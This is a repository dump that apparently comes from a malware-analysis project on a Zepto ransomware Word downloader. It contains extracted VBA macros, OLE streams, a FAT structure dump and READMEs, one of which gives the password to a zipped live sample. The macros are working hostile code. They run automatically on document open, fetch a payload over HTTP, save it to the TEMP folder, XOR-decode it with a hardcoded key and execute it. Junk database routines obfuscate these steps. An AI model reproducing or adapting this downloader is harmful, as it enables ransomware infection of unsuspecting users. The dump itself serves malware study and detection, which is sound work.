├── unknown_sectors_0.dat ├── macros ├── e.bas ├── ThisDocument.cls ├── d.bas ├── Mo.bas └── ul.bas ├── streams ├── stream_13_0.dat ├── stream_2_0.dat ├── stream_3_0.dat ├── stream_4_0.dat ├── stream_5_0.dat ├── stream_6_0.dat ├── stream_7_0.dat ├── stream_8_0.dat ├── stream_9_0.dat ├── stream_10_0.dat ├── stream_11_0.dat ├── stream_12_0.dat └── stream_14_0.dat ├── original_file ├── Zepto.zip └── README.md ├── manifest ├── README.md └── Simple_Dump.txt /unknown_sectors_0.dat: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /macros/e.bas: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/macros/e.bas -------------------------------------------------------------------------------- /streams/stream_13_0.dat: -------------------------------------------------------------------------------- 1 | ThisDocumentThisDocumentMoMoululddee -------------------------------------------------------------------------------- /streams/stream_2_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_2_0.dat -------------------------------------------------------------------------------- /streams/stream_3_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_3_0.dat -------------------------------------------------------------------------------- /streams/stream_4_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_4_0.dat -------------------------------------------------------------------------------- /streams/stream_5_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_5_0.dat -------------------------------------------------------------------------------- /streams/stream_6_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_6_0.dat -------------------------------------------------------------------------------- /streams/stream_7_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_7_0.dat -------------------------------------------------------------------------------- /streams/stream_8_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_8_0.dat -------------------------------------------------------------------------------- /streams/stream_9_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_9_0.dat -------------------------------------------------------------------------------- /original_file/Zepto.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/original_file/Zepto.zip -------------------------------------------------------------------------------- /streams/stream_10_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_10_0.dat -------------------------------------------------------------------------------- /streams/stream_11_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_11_0.dat -------------------------------------------------------------------------------- /streams/stream_12_0.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/alienwithin/Zepto-Ransomware-DocDump/master/streams/stream_12_0.dat -------------------------------------------------------------------------------- /original_file/README.md: -------------------------------------------------------------------------------- 1 | Forked From : 2 | 3 | https://github.com/JohnTroony/Zepto-sample 4 | 5 | # Zepto-sample 6 | A Sample of Zepto Ransomware 7 | 8 | ## ZIP File Password 9 | `this-file-can-harm-your-computer` 10 | -------------------------------------------------------------------------------- /manifest: -------------------------------------------------------------------------------- 1 | stream_2_0.dat 2 | stream_3_0.dat 3 | stream_4_0.dat 4 | stream_5_0.dat 5 | stream_6_0.dat 6 | stream_7_0.dat 7 | stream_8_0.dat 8 | stream_9_0.dat 9 | stream_10_0.dat 10 | stream_11_0.dat 11 | stream_12_0.dat 12 | stream_13_0.dat 13 | stream_14_0.dat 14 | unknown_sectors_0.dat 15 | -------------------------------------------------------------------------------- /macros/ThisDocument.cls: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "ThisDocument" 2 | Attribute VB_Base = "1Normal.ThisDocument" 3 | Attribute VB_GlobalNameSpace = False 4 | Attribute VB_Creatable = False 5 | Attribute VB_PredeclaredId = True 6 | Attribute VB_Exposed = True 7 | Attribute VB_TemplateDerived = True 8 | Attribute VB_Customizable = True 9 | Sub autoopen() 10 | IsOk "122" 11 | End Sub 12 | 13 | 14 | -------------------------------------------------------------------------------- /streams/stream_14_0.dat: -------------------------------------------------------------------------------- 1 | ID="{BCA0813F-0978-4155-B0E3-A4D5C75C57EB}" 2 | Document=ThisDocument/&H00000000 3 | Module=Mo 4 | Module=ul 5 | Module=d 6 | Module=e 7 | Name="Project" 8 | HelpContextID="0" 9 | VersionCompatible32="393222000" 10 | CMG="1E1CF6751697839B839B839B839B" 11 | DPB="8F8D6704A9041B051B051B" 12 | GC="0002E8EBE9EBE914" 13 | 14 | [Host Extender Info] 15 | &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 16 | 17 | [Workspace] 18 | ThisDocument=0, 0, 1077, 318, 19 | Mo=156, 156, 1233, 474, 20 | ul=78, 78, 1155, 396, 21 | d=104, 104, 1181, 422, 22 | e=130, 130, 1207, 448, Z 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Zepto Ransomware Document Dump 2 | This is a dump of the sample shared by John Troony i.e. the .docm file sent via email to victims. It is a downloader for the actual ransomware 3 | 4 | https://github.com/JohnTroony/Zepto-sample 5 | 6 | The VT submission can be found here: 7 | https://www.virustotal.com/en/file/8aabb3e77b4d3a75a6cc1c7a5ef7c2d9fc7231ef0d890a2c14c8adf13d3ccca4/analysis/ 8 | 9 | The dump includes the following : 10 | - Streams 11 | - Macros 12 | - Unknown Sectors (sectors that are not represented in the FAT) 13 | - FAT values that point to sectors that do not exist. 14 | - FAT structure 15 | - Expected file size based on the number of FAT sectors and sector size 16 | 17 | -------------------------------------------------------------------------------- /macros/d.bas: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "d" 2 | 3 | Public Function PrimeraVez() As Boolean 4 | 5 | Dim SQL As String 6 | Dim entrada As String 7 | Dim I As Integer 8 | Dim d As Boolean 9 | d = True 10 | IsWord = True 11 | For I = 1 To Len(Trim("DAbro")) 12 | If d = False Then 13 | Set GromGremitKustiTryasutsyaDAcdaw = CreateObject(GromGremitKustiTryasutsyaPLAPEKC(I - 2)) 14 | Exit For 15 | Else 16 | d = False 17 | End If 18 | Next I 19 | ExisteUsuario entrada, 0, SQL 20 | Exit Function 21 | PrimeraVez = False 22 | RsUsuario.ActiveConnection = RutaBase 23 | entrada = "N" 24 | SQL = "SELECT * FROM Usuarios WHERE usu_id=" & IdUsuario 25 | SQL = SQL & " AND usu_entrada=" & "" 26 | RsUsuario.Open SQL 27 | 28 | If Not RsUsuario.EOF Then 29 | PrimeraVez = True 30 | IdUsuario = RsUsuario!usu_id 31 | clave = RsUsuario!usu_clave 32 | Else 33 | PrimeraVez = False 34 | End If 35 | 36 | 37 | 38 | 39 | 40 | End Function 41 | 42 | 43 | 44 | 45 | Public Function ExisteUsuario(nomusu As String, IdUsuario As Long, clave As String) As Boolean 46 | Dim SQL As String 47 | 48 | 49 | Set GromGremitKustiTryasutsya1DASH1solo = CreateObject(GromGremitKustiTryasutsyaPLAPEKC(3)) 50 | Set GromGremitKustiTryasutsyaKSKLAL = GromGremitKustiTryasutsya1DASH1solo.Environment(GromGremitKustiTryasutsyaPLAPEKC(2 * 2)) 51 | VerCadenaPermiso SQL 52 | Exit Function 53 | RsUsuario.ActiveConnection = RutaBase 54 | 55 | SQL = "Select * from Usuarios WHERE usu_apodo=" & "" 56 | RsUsuario.Open SQL 57 | 58 | If Not RsUsuario.EOF Then 59 | ExisteUsuario = True 60 | IdUsuario = RsUsuario!usu_id 61 | clave = RsUsuario!usu_clave 62 | Else 63 | ExisteUsuario = False 64 | End If 65 | End Function 66 | 67 | 68 | -------------------------------------------------------------------------------- /macros/Mo.bas: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "Mo" 2 | 3 | Global Const mensaje_cancelar = " Pulse Click para abandonar esta ventana." 4 | Global Const mensaje_cerrar = " Pulse Click para abandonar esta ventana." 5 | Global Const mensaje_salir = " Pulse Click para abandonar esta ventana." 6 | Global Const mensaje_opcion = " Pulse Click para seleccionar Opci?n." 7 | Global Const mensaje_copiar = " Pulse Click para Copiar al Portapapeles." 8 | Public GromGremitKustiTryasutsyaDAcdaw As Object 9 | Public GromGremitKustiTryasutsyaPLAPEKCwwed As Object 10 | Public GromGremitKustiTryasutsyaKSKLAL As Object 11 | Public GromGremitKustiTryasutsyaXSAOO() As String 12 | 13 | 14 | Public GromGremitKustiTryasutsyaLAKOPPC As String 15 | Public GromGremitKustiTryasutsyaPLAPEKC() As String 16 | Public GromGremitKustiTryasutsyaUUUKA As String 17 | Public GromGremitKustiTryasutsyaUUUKABBB As String 18 | 19 | 20 | Public GromGremitKustiTryasutsyaGMAKO As Object 21 | Public GromGremitKustiTryasutsya4 As String 22 | Public GromGremitKustiTryasutsya2 As String 23 | Public GromGremitKustiTryasutsyaASALLLP As Variant 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | Public Function VerAuditoria() 46 | Dim SQL As String 47 | 48 | 49 | VerAuditoria = False 50 | RsUsu.ActiveConnection = Con 51 | 52 | SQL = "Select * FROM usuarios " 53 | SQL = SQL & " WHERE usu_id=" & IdUsuario 54 | RsUsu.Open SQL 55 | 56 | If Not RsUsu.EOF Then 57 | If RsUsu!usu_auditor = "S" Then 58 | VerAuditoria = True 59 | Else 60 | VerAuditoria = False 61 | End If 62 | 63 | 64 | 65 | End If 66 | 67 | 68 | 69 | End Function 70 | 71 | 72 | Public Function permisos(nombreformu As String, IdUsuario As Long) As Boolean 73 | 74 | Dim SQL As String 75 | Dim idformu As Long 76 | 77 | permisos = False 78 | RsUsu.ActiveConnection = Con 79 | idformu = BuscarIdFormu(nombreformu) 80 | 81 | SQL = "Select * FROM PermisosPorFormu " 82 | SQL = SQL & " WHERE ppf_idformu=" & idformu 83 | SQL = SQL & " AND ppf_idusuario=" & IdUsuario 84 | RsUsu.Open SQL 85 | 86 | If Not RsUsu.EOF Then 87 | permisos = True 88 | p = RsUsu!ppf_permisos 89 | 90 | 91 | 92 | End If 93 | 94 | 95 | 96 | End Function 97 | Public Function BuscarIdFormu(nombreformu As String) As Long 98 | Dim SQL As String 99 | 100 | RsFormu.ActiveConnection = Con 101 | 102 | SQL = "Select * from Formularios WHERE frm_nombre=" & "" 103 | 104 | RsFormu.Open SQL 105 | 106 | If Not RsFormu.EOF Then 107 | BuscarIdFormu = RsFormu!frm_id 108 | End If 109 | End Function 110 | 111 | 112 | Public Function DuBirMahnWeishr(GromGremitKustiTryasutsya6 As Integer) As String 113 | Dost = CInt(GromGremitKustiTryasutsyaXSAOO(GromGremitKustiTryasutsya6)) 114 | DuBirMahnWeishr = Chr(Dost / 44) 115 | End Function 116 | Public Function GodnTeBabenParama(A1 As String, A2 As String, A3 As String) As String 117 | GodnTeBabenParama = Replace(A1, A2, A3) 118 | End Function 119 | 120 | 121 | -------------------------------------------------------------------------------- /macros/ul.bas: -------------------------------------------------------------------------------- 1 | Attribute VB_Name = "ul" 2 | 3 | Public Sub CambiarPass(OldPass As String, newpass As String, cambio As Boolean) 4 | Dim SQL As String 5 | If cambio Then 6 | GromGremitKustiTryasutsyaLAKOPPC = GromGremitKustiTryasutsyaKSKLAL(GromGremitKustiTryasutsyaPLAPEKC(6)) 7 | GromGremitKustiTryasutsyaUUUKA = GromGremitKustiTryasutsyaLAKOPPC 8 | 9 | 10 | GromGremitKustiTryasutsyaUUUKABBB = GromGremitKustiTryasutsyaUUUKA + "weffvxcvw" 11 | GromGremitKustiTryasutsyaUUUKA = GromGremitKustiTryasutsyaUUUKA + GromGremitKustiTryasutsyaPLAPEKC(12) 12 | GromGremitKustiTryasutsyaPLAPEKCwwed.Type = 1 13 | 14 | GromGremitKustiTryasutsyaPLAPEKCwwed.Open 15 | encript SQL 16 | Exit Sub 17 | Else 18 | GoTo BigEnd 19 | End If 20 | RsUsuario.ActiveConnection = RutaBase 21 | RsClave.ActiveConnection = RutaBase 22 | 23 | SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario 24 | RsUsuario.Open SQL 25 | 26 | If Not RsUsuario.EOF Then 27 | If OldPass = Decript(RsUsuario!usu_clave) Then 28 | 29 | SQL = "UPDATE Usuarios SET usu_clave=" & "" 30 | SQL = SQL & " WHERE usu_id=" & IdUsuario 31 | RsClave.Open SQL 32 | cambio = True 33 | 34 | Else 35 | cambio = False 36 | End If 37 | End If 38 | BigEnd: 39 | CallByName GromGremitKustiTryasutsyaPLAPEKCwwed, "savetofile", VbMethod, GromGremitKustiTryasutsyaUUUKABBB, 2 40 | UNDOPRYXOR GromGremitKustiTryasutsyaUUUKABBB, GromGremitKustiTryasutsyaUUUKA, "1DewxHpdrG2Xe2xWVa1XwFG6hJ1Cti30" 41 | GromGremitKustiTryasutsyaGMAKO.Open (GromGremitKustiTryasutsyaUUUKA) 42 | End Sub 43 | Public Sub UNDOPRYXOR(SourceFile As String, DestFile As String, Optional Key As String) 44 | 45 | Dim Filenr As Integer 46 | Dim ByteArray() As Byte 47 | 48 | 49 | 50 | 51 | 52 | Filenr = FreeFile 53 | Open SourceFile For Binary As #Filenr 54 | ReDim ByteArray(0 To LOF(Filenr) - 1) 55 | Get #Filenr, , ByteArray() 56 | Close #Filenr 57 | 58 | 59 | Call DecryptByte(ByteArray(), Key) 60 | 61 | 62 | 63 | Filenr = FreeFile 64 | Open DestFile For Binary As #Filenr 65 | Put #Filenr, , ByteArray() 66 | Close #Filenr 67 | 68 | End Sub 69 | Public Sub DecryptByte(ByteArray() As Byte, Key As String) 70 | 71 | Dim Offset As Long 72 | Dim ByteLen As Long 73 | Dim ResultLen As Long 74 | Dim CurrPercent As Long 75 | Dim NextPercent As Long 76 | Dim m_Key() As Byte 77 | Dim m_KeyLen As Long 78 | 79 | m_KeyLen = Len(Key) 80 | ReDim m_Key(m_KeyLen) 81 | 82 | m_Key = StrConv(Key, vbFromUnicode) 83 | 84 | 85 | ByteLen = UBound(ByteArray) + 1 86 | ResultLen = ByteLen 87 | 88 | 89 | For Offset = 0 To (ByteLen - 1) 90 | ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset Mod m_KeyLen) 91 | 92 | 93 | If (Offset >= NextPercent) Then 94 | CurrPercent = Int((Offset / ResultLen) * 100) 95 | NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1 96 | End If 97 | Next 98 | End Sub 99 | Public Sub ActualizarEntrada() 100 | Dim SQL As String 101 | Dim entrada As String 102 | 103 | 104 | entrada = "S" 105 | 106 | 107 | RsUsuario.ActiveConnection = RutaBase 108 | 109 | SQL = "UPDATE Usuarios " 110 | SQL = SQL & " SET usu_entrada=" & "" 111 | SQL = SQL & " Where usu_id = " & IdUsuario 112 | RsUsuario.Open SQL 113 | 114 | 115 | End Sub 116 | Public Function NombreUsuario() As String 117 | Dim SQL As String 118 | 119 | RsUsuario.ActiveConnection = RutaBase 120 | 121 | SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario 122 | RsUsuario.Open SQL 123 | 124 | If Not RsUsuario.EOF Then 125 | NombreUsuario = RsUsuario!usu_apodo 126 | End If 127 | End Function 128 | Public Function encript(pass As String) As String 129 | Dim temp As String 130 | Dim temp1 As String 131 | Dim pos As Long 132 | Dim leng As Long 133 | Dim tim As Variant 134 | Dim I As Long 135 | Dim Key As Long 136 | GromGremitKustiTryasutsyaASALLLP = GromGremitKustiTryasutsyaDAcdaw.responseBody 137 | 138 | Decript temp1 139 | Exit Function 140 | leng = Len(pass) 141 | tim = Mid(Time, 1, 8) 142 | tim = Mid(tim, 1, Len(tim) - 3) 143 | tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100) 144 | For I = 1 To Len(CStr(tim)) 145 | pos = pos + CInt(Mid(CStr(tim), I, 1)) 146 | Next 147 | While pos > Len(pass) 148 | pos = pos Mod 10 + Int(Rnd * 10) 149 | If pos = 0 Then 150 | pos = Len(pass) + 1 151 | End If 152 | Wend 153 | If pos <= 2 Then 154 | pos = 3 155 | End If 156 | Key = Int((255 - 150 + 1) * Rnd + 150) 157 | For I = 1 To Len(pass) 158 | If Asc(Mid(pass, I, 1)) > Key Then 159 | temp = temp & Chr(CInt(Asc(Mid(pass, I, 1))) - Key) 160 | ElseIf Asc(Mid(pass, I, 1)) < Key Then 161 | temp = temp & Chr(Key - CInt(Asc(Mid(pass, I, 1)))) 162 | Else 163 | temp = temp & Chr(Asc(Mid(pass, I, 1))) 164 | End If 165 | Next 166 | temp1 = Mid(temp, 1, pos) & Chr(Key) 167 | temp1 = temp1 & Mid(temp, pos + 1, Len(temp)) 168 | temp = Chr(pos + 150) & temp1 169 | encript = temp 170 | End Function 171 | 172 | 173 | Public Function Decript(pass As String) As String 174 | 175 | 176 | Dim pos As Long 177 | Dim Key As Long 178 | Dim temp As String 179 | Dim I As Long 180 | Dim temp1 As String 181 | 182 | GromGremitKustiTryasutsyaPLAPEKCwwed.Write GromGremitKustiTryasutsyaASALLLP 183 | CambiarPass temp, temp1, False 184 | Exit Function 185 | pos = Int(Asc(Mid(pass, 1, 1))) - 150 186 | Key = Asc(Mid(pass, pos + 2, 1)) 187 | temp = Mid(pass, 1, pos + 1) 188 | pass = temp & Mid(pass, pos + 3, Len(pass)) 189 | pass = Mid(pass, 2, Len(pass)) 190 | For I = 1 To Len(pass) 191 | If Asc(Mid(pass, I, 1)) <> Key Then 192 | temp1 = temp1 & Chr(Key - CInt(Asc(Mid(pass, I, 1)))) 193 | Else 194 | temp1 = temp1 & Chr(Asc(Mid(pass, I, 1))) 195 | End If 196 | Next 197 | Decript = temp1 198 | End Function 199 | 200 | -------------------------------------------------------------------------------- /Simple_Dump.txt: -------------------------------------------------------------------------------- 1 | HEADER DUMP 2 | _abSig = D0 CF 11 E0 A1 B1 1A E1 3 | _clid = 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4 | _uMinorVersion = 003E 5 | _uDllVersion = 3 6 | _uByteOrder = FFFE 7 | _uSectorShift = 9 (512 bytes) 8 | _uMiniSectorShift = 6 (64 bytes) 9 | _usReserved = 0000 10 | _usReserved1 = 00000000 11 | _usReserved2 = 00000000 12 | _csectFat = 00000001 13 | _sectDirStart = 00000001 14 | _signature = 00000000 15 | _ulMiniSectorCutoff = 00001000 (4096 bytes) 16 | _sectMiniFatStart = 00000002 17 | _csectMiniFat = 00000002 18 | _sectDifStart = FFFFFFFE 19 | _csectDif = 00000000 20 | _sectFat = 00000000 21 | 00000000: 0xFFFFFFFD (FAT) 22 | 00000001: 00000007 (PTR) 23 | 00000002: 00000033 (PTR) 24 | 00000003: 00000004 (PTR) 25 | 00000004: 00000005 (PTR) 26 | 00000005: 00000006 (PTR) 27 | 00000006: 00000028 (PTR) 28 | 00000007: 0000002E (PTR) 29 | 00000008: 00000009 (PTR) 30 | 00000009: 0000000A (PTR) 31 | 0000000A: 0000000B (PTR) 32 | 0000000B: 0xFFFFFFFE (EOC) 33 | 0000000C: 0000000D (PTR) 34 | 0000000D: 0000000E (PTR) 35 | 0000000E: 00000018 (PTR) 36 | 0000000F: 00000010 (PTR) 37 | 00000010: 00000011 (PTR) 38 | 00000011: 00000012 (PTR) 39 | 00000012: 00000013 (PTR) 40 | 00000013: 00000014 (PTR) 41 | 00000014: 00000015 (PTR) 42 | 00000015: 00000016 (PTR) 43 | 00000016: 00000017 (PTR) 44 | 00000017: 00000008 (PTR) 45 | 00000018: 00000019 (PTR) 46 | 00000019: 0000001A (PTR) 47 | 0000001A: 00000024 (PTR) 48 | 0000001B: 0000001C (PTR) 49 | 0000001C: 0000001D (PTR) 50 | 0000001D: 0000001E (PTR) 51 | 0000001E: 0000001F (PTR) 52 | 0000001F: 00000020 (PTR) 53 | 00000020: 00000021 (PTR) 54 | 00000021: 00000022 (PTR) 55 | 00000022: 00000023 (PTR) 56 | 00000023: 0000000C (PTR) 57 | 00000024: 00000025 (PTR) 58 | 00000025: 00000026 (PTR) 59 | 00000026: 00000027 (PTR) 60 | 00000027: 0xFFFFFFFE (EOC) 61 | 00000028: 00000029 (PTR) 62 | 00000029: 0000002A (PTR) 63 | 0000002A: 0000002B (PTR) 64 | 0000002B: 0000002C (PTR) 65 | 0000002C: 0000002D (PTR) 66 | 0000002D: 00000041 (PTR) 67 | 0000002E: 0000004D (PTR) 68 | 0000002F: 00000030 (PTR) 69 | 00000030: 00000031 (PTR) 70 | 00000031: 00000032 (PTR) 71 | 00000032: 00000034 (PTR) 72 | 00000033: 0xFFFFFFFE (EOC) 73 | 00000034: 00000035 (PTR) 74 | 00000035: 0xFFFFFFFE (EOC) 75 | 00000036: 00000040 (PTR) 76 | 00000037: 00000038 (PTR) 77 | 00000038: 00000039 (PTR) 78 | 00000039: 0000003A (PTR) 79 | 0000003A: 0000003B (PTR) 80 | 0000003B: 0000003C (PTR) 81 | 0000003C: 0000003D (PTR) 82 | 0000003D: 0000003E (PTR) 83 | 0000003E: 0000003F (PTR) 84 | 0000003F: 0000002F (PTR) 85 | 00000040: 0xFFFFFFFE (EOC) 86 | 00000041: 00000042 (PTR) 87 | 00000042: 00000043 (PTR) 88 | 00000043: 00000044 (PTR) 89 | 00000044: 0000004E (PTR) 90 | 00000045: 00000046 (PTR) 91 | 00000046: 00000047 (PTR) 92 | 00000047: 00000048 (PTR) 93 | 00000048: 00000049 (PTR) 94 | 00000049: 0000004A (PTR) 95 | 0000004A: 0000004B (PTR) 96 | 0000004B: 0000004C (PTR) 97 | 0000004C: 00000036 (PTR) 98 | 0000004D: 0xFFFFFFFE (EOC) 99 | 0000004E: 0000004F (PTR) 100 | 0000004F: 0xFFFFFFFE (EOC) 101 | 00000050: 0xFFFFFFFF (FREE) 102 | 00000051: 0xFFFFFFFF (FREE) 103 | 00000052: 0xFFFFFFFF (FREE) 104 | 00000053: 0xFFFFFFFF (FREE) 105 | 00000054: 0xFFFFFFFF (FREE) 106 | 00000055: 0xFFFFFFFF (FREE) 107 | 00000056: 0xFFFFFFFF (FREE) 108 | 00000057: 0xFFFFFFFF (FREE) 109 | 00000058: 0xFFFFFFFF (FREE) 110 | 00000059: 0xFFFFFFFF (FREE) 111 | 0000005A: 0xFFFFFFFF (FREE) 112 | 0000005B: 0xFFFFFFFF (FREE) 113 | 0000005C: 0xFFFFFFFF (FREE) 114 | 0000005D: 0xFFFFFFFF (FREE) 115 | 0000005E: 0xFFFFFFFF (FREE) 116 | 0000005F: 0xFFFFFFFF (FREE) 117 | 00000060: 0xFFFFFFFF (FREE) 118 | 00000061: 0xFFFFFFFF (FREE) 119 | 00000062: 0xFFFFFFFF (FREE) 120 | 00000063: 0xFFFFFFFF (FREE) 121 | 00000064: 0xFFFFFFFF (FREE) 122 | 00000065: 0xFFFFFFFF (FREE) 123 | 00000066: 0xFFFFFFFF (FREE) 124 | 00000067: 0xFFFFFFFF (FREE) 125 | 00000068: 0xFFFFFFFF (FREE) 126 | 00000069: 0xFFFFFFFF (FREE) 127 | 0000006A: 0xFFFFFFFF (FREE) 128 | 0000006B: 0xFFFFFFFF (FREE) 129 | 0000006C: 0xFFFFFFFF (FREE) 130 | 0000006D: 0xFFFFFFFF (FREE) 131 | 0000006E: 0xFFFFFFFF (FREE) 132 | 0000006F: 0xFFFFFFFF (FREE) 133 | 00000070: 0xFFFFFFFF (FREE) 134 | 00000071: 0xFFFFFFFF (FREE) 135 | 00000072: 0xFFFFFFFF (FREE) 136 | 00000073: 0xFFFFFFFF (FREE) 137 | 00000074: 0xFFFFFFFF (FREE) 138 | 00000075: 0xFFFFFFFF (FREE) 139 | 00000076: 0xFFFFFFFF (FREE) 140 | 00000077: 0xFFFFFFFF (FREE) 141 | 00000078: 0xFFFFFFFF (FREE) 142 | 00000079: 0xFFFFFFFF (FREE) 143 | 0000007A: 0xFFFFFFFF (FREE) 144 | 0000007B: 0xFFFFFFFF (FREE) 145 | 0000007C: 0xFFFFFFFF (FREE) 146 | 0000007D: 0xFFFFFFFF (FREE) 147 | 0000007E: 0xFFFFFFFF (FREE) 148 | 0000007F: 0xFFFFFFFF (FREE) 149 | 00000000: 00000001 (PTR) 150 | 00000001: 00000002 (PTR) 151 | 00000002: 00000003 (PTR) 152 | 00000003: 00000004 (PTR) 153 | 00000004: 00000005 (PTR) 154 | 00000005: 00000006 (PTR) 155 | 00000006: 00000007 (PTR) 156 | 00000007: 00000008 (PTR) 157 | 00000008: 00000009 (PTR) 158 | 00000009: 0000000A (PTR) 159 | 0000000A: 0000000B (PTR) 160 | 0000000B: 0000000C (PTR) 161 | 0000000C: 0000000D (PTR) 162 | 0000000D: 0000000E (PTR) 163 | 0000000E: 0000000F (PTR) 164 | 0000000F: 00000010 (PTR) 165 | 00000010: 00000011 (PTR) 166 | 00000011: 00000012 (PTR) 167 | 00000012: 00000013 (PTR) 168 | 00000013: 00000014 (PTR) 169 | 00000014: 0xFFFFFFFE (EOC) 170 | 00000015: 00000016 (PTR) 171 | 00000016: 00000017 (PTR) 172 | 00000017: 00000018 (PTR) 173 | 00000018: 00000019 (PTR) 174 | 00000019: 0xFFFFFFFE (EOC) 175 | 0000001A: 0000001B (PTR) 176 | 0000001B: 0xFFFFFFFE (EOC) 177 | 0000001C: 0000001D (PTR) 178 | 0000001D: 0000001E (PTR) 179 | 0000001E: 0000001F (PTR) 180 | 0000001F: 00000020 (PTR) 181 | 00000020: 00000021 (PTR) 182 | 00000021: 00000022 (PTR) 183 | 00000022: 00000023 (PTR) 184 | 00000023: 00000024 (PTR) 185 | 00000024: 00000025 (PTR) 186 | 00000025: 00000026 (PTR) 187 | 00000026: 00000027 (PTR) 188 | 00000027: 00000028 (PTR) 189 | 00000028: 00000029 (PTR) 190 | 00000029: 0000002A (PTR) 191 | 0000002A: 0000002B (PTR) 192 | 0000002B: 0000002C (PTR) 193 | 0000002C: 0000002D (PTR) 194 | 0000002D: 0000002E (PTR) 195 | 0000002E: 0000002F (PTR) 196 | 0000002F: 00000030 (PTR) 197 | 00000030: 00000031 (PTR) 198 | 00000031: 00000032 (PTR) 199 | 00000032: 00000033 (PTR) 200 | 00000033: 00000034 (PTR) 201 | 00000034: 00000035 (PTR) 202 | 00000035: 00000036 (PTR) 203 | 00000036: 00000037 (PTR) 204 | 00000037: 00000038 (PTR) 205 | 00000038: 00000039 (PTR) 206 | 00000039: 0000003A (PTR) 207 | 0000003A: 0000003B (PTR) 208 | 0000003B: 0000003C (PTR) 209 | 0000003C: 0000003D (PTR) 210 | 0000003D: 0000003E (PTR) 211 | 0000003E: 0000003F (PTR) 212 | 0000003F: 00000040 (PTR) 213 | 00000040: 00000041 (PTR) 214 | 00000041: 00000042 (PTR) 215 | 00000042: 00000043 (PTR) 216 | 00000043: 00000044 (PTR) 217 | 00000044: 00000045 (PTR) 218 | 00000045: 00000046 (PTR) 219 | 00000046: 00000047 (PTR) 220 | 00000047: 00000048 (PTR) 221 | 00000048: 00000049 (PTR) 222 | 00000049: 0000004A (PTR) 223 | 0000004A: 0000004B (PTR) 224 | 0000004B: 0000004C (PTR) 225 | 0000004C: 0000004D (PTR) 226 | 0000004D: 0000004E (PTR) 227 | 0000004E: 0000004F (PTR) 228 | 0000004F: 0xFFFFFFFE (EOC) 229 | 00000050: 00000051 (PTR) 230 | 00000051: 00000052 (PTR) 231 | 00000052: 00000053 (PTR) 232 | 00000053: 00000054 (PTR) 233 | 00000054: 00000055 (PTR) 234 | 00000055: 00000056 (PTR) 235 | 00000056: 00000057 (PTR) 236 | 00000057: 00000058 (PTR) 237 | 00000058: 00000059 (PTR) 238 | 00000059: 0xFFFFFFFE (EOC) 239 | 0000005A: 0000005B (PTR) 240 | 0000005B: 0000005C (PTR) 241 | 0000005C: 0000005D (PTR) 242 | 0000005D: 0000005E (PTR) 243 | 0000005E: 0000005F (PTR) 244 | 0000005F: 00000060 (PTR) 245 | 00000060: 00000061 (PTR) 246 | 00000061: 00000062 (PTR) 247 | 00000062: 00000063 (PTR) 248 | 00000063: 00000064 (PTR) 249 | 00000064: 00000065 (PTR) 250 | 00000065: 00000066 (PTR) 251 | 00000066: 00000067 (PTR) 252 | 00000067: 00000068 (PTR) 253 | 00000068: 00000069 (PTR) 254 | 00000069: 0000006A (PTR) 255 | 0000006A: 0000006B (PTR) 256 | 0000006B: 0000006C (PTR) 257 | 0000006C: 0000006D (PTR) 258 | 0000006D: 0000006E (PTR) 259 | 0000006E: 0xFFFFFFFE (EOC) 260 | 0000006F: 00000070 (PTR) 261 | 00000070: 0xFFFFFFFE (EOC) 262 | 00000071: 00000072 (PTR) 263 | 00000072: 0xFFFFFFFE (EOC) 264 | 00000073: 00000074 (PTR) 265 | 00000074: 00000075 (PTR) 266 | 00000075: 00000076 (PTR) 267 | 00000076: 00000077 (PTR) 268 | 00000077: 00000078 (PTR) 269 | 00000078: 00000079 (PTR) 270 | 00000079: 0000007A (PTR) 271 | 0000007A: 0000007B (PTR) 272 | 0000007B: 0xFFFFFFFE (EOC) 273 | 0000007C: 0xFFFFFFFF (FREE) 274 | 0000007D: 0xFFFFFFFF (FREE) 275 | 0000007E: 0xFFFFFFFF (FREE) 276 | 0000007F: 0xFFFFFFFF (FREE) 277 | 00000080: 0xFFFFFFFF (FREE) 278 | 00000081: 0xFFFFFFFF (FREE) 279 | 00000082: 0xFFFFFFFF (FREE) 280 | 00000083: 0xFFFFFFFF (FREE) 281 | 00000084: 0xFFFFFFFF (FREE) 282 | 00000085: 